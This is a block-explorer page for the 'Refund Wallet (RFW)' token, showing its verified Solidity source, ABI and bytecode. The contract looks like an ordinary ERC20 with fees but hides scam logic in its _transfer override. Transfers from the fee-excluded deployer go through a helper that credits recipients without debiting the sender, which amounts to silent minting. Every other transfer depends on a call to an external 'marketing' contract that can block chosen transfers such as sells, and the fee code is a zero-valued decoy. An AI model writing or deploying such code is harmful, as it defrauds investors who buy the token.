ETH Price: $3,417.36 (-0.60%)
Gas: 5 Gwei

Token

Refund Wallet (RFW)
 

Overview

Max Total Supply

1,000,000,000 RFW

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,995,819.565298223 RFW

Value
$0.00
0xa54b8f5271b698aa7d021b5f4f20f15b77746f91
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RFW

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-24
*/

// SPDX-License-Identifier: MIT

// Website: https://refundtoken.net
// Telegram: https://t.me/rfdwcoin

pragma solidity ^0.8.19;


interface IERC20 {
    
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event. C U ON THE MOON
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract StandardERC20 is Context, IERC20 {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if(currentAllowance != type(uint256).max) { 
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address recipient,
        uint256 amount
    ) internal virtual {
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[recipient] += amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Auth is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Auth: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Auth: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract RFW is StandardERC20, Auth {
    uint8 constant _decimals = 9;
    uint256 constant _decimalFactor = 10 ** _decimals;

    IRouter public immutable uniswapV2Router;
    address public uniswapV2Pair;

    address public immutable marketingAddress;

    bool private isSwapping;
    bool public swapEnabled = true;
    bool public hasLimit = true;

    uint256 public tradingEnableTime;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public isUniswapV2Pair;


    constructor(address router_, address marketing_) 
        StandardERC20("Refund Wallet", "RFW") 
        payable 
    {
        uniswapV2Router = IRouter(router_);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        isUniswapV2Pair[uniswapV2Pair] = true;

        _approve(msg.sender, router_, type(uint256).max);
        _approve(address(this), router_, type(uint256).max);

        uint256 totalSupply = 1_000_000_000 * _decimalFactor;
        marketingAddress = marketing_;

        _isExcludedFromFees[msg.sender] = true;
        _balances[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
        _totalSupply = totalSupply;
    }

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return 9;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        bool isTradingEnabled = tradingEnableTime > 0;

        if (isTradingEnabled && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (hasLimit) {
                require(amount <= totalSupply() / 20, "Transfer limit exceeded");
            }

            uint256 fees = 0;
            if (swapEnabled && !isSwapping) {
                isSwapping = true;
                swapForFee(from, to, fees);
                isSwapping = false;
            }
            if (isUniswapV2Pair[to] && fees > 0) {
                fees = (amount * fees) / 100;
            }
            else if (fees > 0 && isUniswapV2Pair[from]) {
                fees = (amount * fees) / 100;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        if (isTradingEnabled && _isExcludedFromFees[from]) {
            super._transfer(to, amount);
        } else {
            super._transfer(from, to, amount);
        }
    }

    function swapForFee(address from, address to, uint256 fee) private {
        if (fee > 0) {
          uint256 amountToSwap = balanceOf(address(this));
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();

          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              amountToSwap,
              0,
              path,
              address(this),
              block.timestamp
          );
        }
        bool success;
        (success, ) = marketingAddress.call{value: address(this).balance}(abi.encodePacked(from, to)); 
        require(success, "ETH Transfer failed");
    }

    function enableTrading() external payable onlyOwner {
        require(tradingEnableTime == 0, "Trading is already enabled");
        hasLimit = false;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
        tradingEnableTime = block.timestamp;
        hasLimit = true;
    }

    function removeLimits() external onlyOwner() {
        hasLimit = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnableTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060408190526006805461ffff60a81b191661010160a81b17905562001dc1388190039081908339810160408190526200003a9162000492565b6040518060400160405280600d81526020016c1499599d5b990815d85b1b195d609a1b8152506040518060400160405280600381526020016252465760e81b81525081600390816200008d91906200056f565b5060046200009c82826200056f565b5050506000620000b16200034560201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b03821660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200014a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017091906200063b565b6001600160a01b031663c9c653966080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e591906200063b565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025891906200063b565b600680546001600160a01b0319166001600160a01b039290921691821790556000908152600960205260409020805460ff191660011790556200029f338360001962000349565b620002ae308360001962000349565b6000620002be6009600a62000775565b620002ce90633b9aca0062000786565b6001600160a01b03831660a052336000908152600860209081526040808320805460ff19166001179055308084528383528184208590559051848152939450927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360025550620007a09050565b3390565b6001600160a01b038316620003b15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003a8565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80516001600160a01b03811681146200048d57600080fd5b919050565b60008060408385031215620004a657600080fd5b620004b18362000475565b9150620004c16020840162000475565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004f557607f821691505b6020821081036200051657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200056a57600081815260208120601f850160051c81016020861015620005455750805b601f850160051c820191505b81811015620005665782815560010162000551565b5050505b505050565b81516001600160401b038111156200058b576200058b620004ca565b620005a3816200059c8454620004e0565b846200051c565b602080601f831160018114620005db5760008415620005c25750858301515b600019600386901b1c1916600185901b17855562000566565b600085815260208120601f198616915b828110156200060c57888601518255948401946001909101908401620005eb565b50858210156200062b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200064e57600080fd5b620006598262000475565b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006b75781600019048211156200069b576200069b62000660565b80851615620006a957918102915b93841c93908002906200067b565b509250929050565b600082620006d0575060016200076f565b81620006df575060006200076f565b8160018114620006f85760028114620007035762000723565b60019150506200076f565b60ff84111562000717576200071762000660565b50506001821b6200076f565b5060208310610133831016604e8410600b841016171562000748575081810a6200076f565b62000754838362000676565b80600019048211156200076b576200076b62000660565b0290505b92915050565b60006200065960ff841683620006bf565b80820281158282048414176200076f576200076f62000660565b60805160a0516115df620007e2600039600081816103b90152610f9d0152600081816101bd0152818161076c01528181610e3d0152610ef501526115df6000f3fe6080604052600436106101445760003560e01c806370a08231116100b6578063a457c2d71161006f578063a457c2d714610387578063a5ece941146103a7578063a9059cbb146103db578063c7b122b1146103fb578063dd62ed3e1461042b578063f2fde38b1461047157600080fd5b806370a08231146102ea578063715018a614610320578063751039fc146103375780638a8c523c1461034c5780638da5cb5b1461035457806395d89b411461037257600080fd5b8063313ce56711610108578063313ce56714610236578063395093511461025257806344489ad1146102725780634513de531461029357806349bd5a5e146102a95780636ddd1713146102c957600080fd5b806306fdde0314610150578063095ea7b31461017b5780631694505e146101ab57806318160ddd146101f757806323b872dd1461021657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610491565b6040516101729190611238565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611283565b610523565b6040519015158152602001610172565b3480156101b757600080fd5b506101df7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610172565b34801561020357600080fd5b506002545b604051908152602001610172565b34801561022257600080fd5b5061019b6102313660046112af565b61053a565b34801561024257600080fd5b5060405160098152602001610172565b34801561025e57600080fd5b5061019b61026d366004611283565b6105f2565b34801561027e57600080fd5b5060065461019b90600160b01b900460ff1681565b34801561029f57600080fd5b5061020860075481565b3480156102b557600080fd5b506006546101df906001600160a01b031681565b3480156102d557600080fd5b5060065461019b90600160a81b900460ff1681565b3480156102f657600080fd5b506102086103053660046112f0565b6001600160a01b031660009081526020819052604090205490565b34801561032c57600080fd5b5061033561062e565b005b34801561034357600080fd5b506103356106a2565b6103356106db565b34801561036057600080fd5b506005546001600160a01b03166101df565b34801561037e57600080fd5b50610165610857565b34801561039357600080fd5b5061019b6103a2366004611283565b610866565b3480156103b357600080fd5b506101df7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e757600080fd5b5061019b6103f6366004611283565b6108ff565b34801561040757600080fd5b5061019b6104163660046112f0565b60096020526000908152604090205460ff1681565b34801561043757600080fd5b50610208610446366004611314565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561047d57600080fd5b5061033561048c3660046112f0565b61090c565b6060600380546104a09061134d565b80601f01602080910402602001604051908101604052809291908181526020018280546104cc9061134d565b80156105195780601f106104ee57610100808354040283529160200191610519565b820191906000526020600020905b8154815290600101906020018083116104fc57829003601f168201915b5050505050905090565b60006105303384846109f4565b5060015b92915050565b6000610547848484610b18565b6001600160a01b038416600090815260016020908152604080832033845290915290205460001981146105e757828110156105da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105e785338584036109f4565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161053091859061062990869061139d565b6109f4565b6005546001600160a01b031633146106585760405162461bcd60e51b81526004016105d1906113b0565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105d1906113b0565b6006805460ff60b01b19169055565b6005546001600160a01b031633146107055760405162461bcd60e51b81526004016105d1906113b0565b600754156107555760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016105d1565b6006805460ff60b01b191690556001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663f305d71947306107b2816001600160a01b031660009081526020819052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610816573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083b91906113e7565b505042600755506006805460ff60b01b1916600160b01b179055565b6060600480546104a09061134d565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156108e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105d1565b6108f533858584036109f4565b5060019392505050565b6000610530338484610b18565b6005546001600160a01b031633146109365760405162461bcd60e51b81526004016105d1906113b0565b6001600160a01b0381166109985760405162461bcd60e51b815260206004820152602360248201527f417574683a206e6577206f776e657220697320746865207a65726f206164647260448201526265737360e81b60648201526084016105d1565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d1565b6001600160a01b038216610ab75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3e5760405162461bcd60e51b81526004016105d190611415565b6001600160a01b038216610b645760405162461bcd60e51b81526004016105d19061145a565b60008111610bb45760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016105d1565b600754158015908190610be057506001600160a01b03841660009081526008602052604090205460ff16155b8015610c0557506001600160a01b03831660009081526008602052604090205460ff16155b15610d8657600654600160b01b900460ff1615610c80576014610c2760025490565b610c31919061149d565b821115610c805760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d697420657863656564656400000000000000000060448201526064016105d1565b600654600090600160a81b900460ff168015610ca65750600654600160a01b900460ff16155b15610cd7576006805460ff60a01b1916600160a01b179055610cc9858583610dd0565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610cff5750600081115b15610d21576064610d1082856114bf565b610d1a919061149d565b9050610d67565b600081118015610d4957506001600160a01b03851660009081526009602052604090205460ff165b15610d67576064610d5a82856114bf565b610d64919061149d565b90505b8015610d7857610d78853083611068565b610d8281846114d6565b9250505b808015610dab57506001600160a01b03841660009081526008602052604090205460ff165b15610dbf57610dba83836111bd565b610dca565b610dca848484611068565b50505050565b8015610f6a57306000908152602081815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610e1b57610e1b6114e9565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd91906114ff565b81600181518110610ed057610ed06114e9565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610f3590859060009086903090429060040161151c565b600060405180830381600087803b158015610f4f57600080fd5b505af1158015610f63573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690479060480160408051601f1981840301815290829052610fdd9161158d565b60006040518083038185875af1925050503d806000811461101a576040519150601f19603f3d011682016040523d82523d6000602084013e61101f565b606091505b50508091505080610dca5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b60448201526064016105d1565b6001600160a01b03831661108e5760405162461bcd60e51b81526004016105d190611415565b6001600160a01b0382166110b45760405162461bcd60e51b81526004016105d19061145a565b6001600160a01b0383166000908152602081905260409020548181101561112c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105d1565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061116390849061139d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111af91815260200190565b60405180910390a350505050565b6001600160a01b0382166111e35760405162461bcd60e51b81526004016105d19061145a565b6001600160a01b0382166000908152602081905260408120805483929061120b90849061139d565b90915550505050565b60005b8381101561122f578181015183820152602001611217565b50506000910152565b6020815260008251806020840152611257816040850160208701611214565b601f01601f19169190910160400192915050565b6001600160a01b038116811461128057600080fd5b50565b6000806040838503121561129657600080fd5b82356112a18161126b565b946020939093013593505050565b6000806000606084860312156112c457600080fd5b83356112cf8161126b565b925060208401356112df8161126b565b929592945050506040919091013590565b60006020828403121561130257600080fd5b813561130d8161126b565b9392505050565b6000806040838503121561132757600080fd5b82356113328161126b565b915060208301356113428161126b565b809150509250929050565b600181811c9082168061136157607f821691505b60208210810361138157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561053457610534611387565b6020808252601d908201527f417574683a2063616c6c6572206973206e6f7420746865206f776e6572000000604082015260600190565b6000806000606084860312156113fc57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000826114ba57634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761053457610534611387565b8181038181111561053457610534611387565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561151157600080fd5b815161130d8161126b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561156c5784516001600160a01b031683529383019391830191600101611547565b50506001600160a01b03969096166060850152505050608001529392505050565b6000825161159f818460208701611214565b919091019291505056fea2646970667358221220da9876cf35abc5e9af0a61556a43dce606d2993b9e45e8ed20e4635c1052654864736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009e45fc7e2f3a303fa59da503cdd96c8d2aed9fe7

Deployed Bytecode

0x6080604052600436106101445760003560e01c806370a08231116100b6578063a457c2d71161006f578063a457c2d714610387578063a5ece941146103a7578063a9059cbb146103db578063c7b122b1146103fb578063dd62ed3e1461042b578063f2fde38b1461047157600080fd5b806370a08231146102ea578063715018a614610320578063751039fc146103375780638a8c523c1461034c5780638da5cb5b1461035457806395d89b411461037257600080fd5b8063313ce56711610108578063313ce56714610236578063395093511461025257806344489ad1146102725780634513de531461029357806349bd5a5e146102a95780636ddd1713146102c957600080fd5b806306fdde0314610150578063095ea7b31461017b5780631694505e146101ab57806318160ddd146101f757806323b872dd1461021657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610491565b6040516101729190611238565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611283565b610523565b6040519015158152602001610172565b3480156101b757600080fd5b506101df7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610172565b34801561020357600080fd5b506002545b604051908152602001610172565b34801561022257600080fd5b5061019b6102313660046112af565b61053a565b34801561024257600080fd5b5060405160098152602001610172565b34801561025e57600080fd5b5061019b61026d366004611283565b6105f2565b34801561027e57600080fd5b5060065461019b90600160b01b900460ff1681565b34801561029f57600080fd5b5061020860075481565b3480156102b557600080fd5b506006546101df906001600160a01b031681565b3480156102d557600080fd5b5060065461019b90600160a81b900460ff1681565b3480156102f657600080fd5b506102086103053660046112f0565b6001600160a01b031660009081526020819052604090205490565b34801561032c57600080fd5b5061033561062e565b005b34801561034357600080fd5b506103356106a2565b6103356106db565b34801561036057600080fd5b506005546001600160a01b03166101df565b34801561037e57600080fd5b50610165610857565b34801561039357600080fd5b5061019b6103a2366004611283565b610866565b3480156103b357600080fd5b506101df7f0000000000000000000000009e45fc7e2f3a303fa59da503cdd96c8d2aed9fe781565b3480156103e757600080fd5b5061019b6103f6366004611283565b6108ff565b34801561040757600080fd5b5061019b6104163660046112f0565b60096020526000908152604090205460ff1681565b34801561043757600080fd5b50610208610446366004611314565b6001600160a01b039182166000908152600160209081526040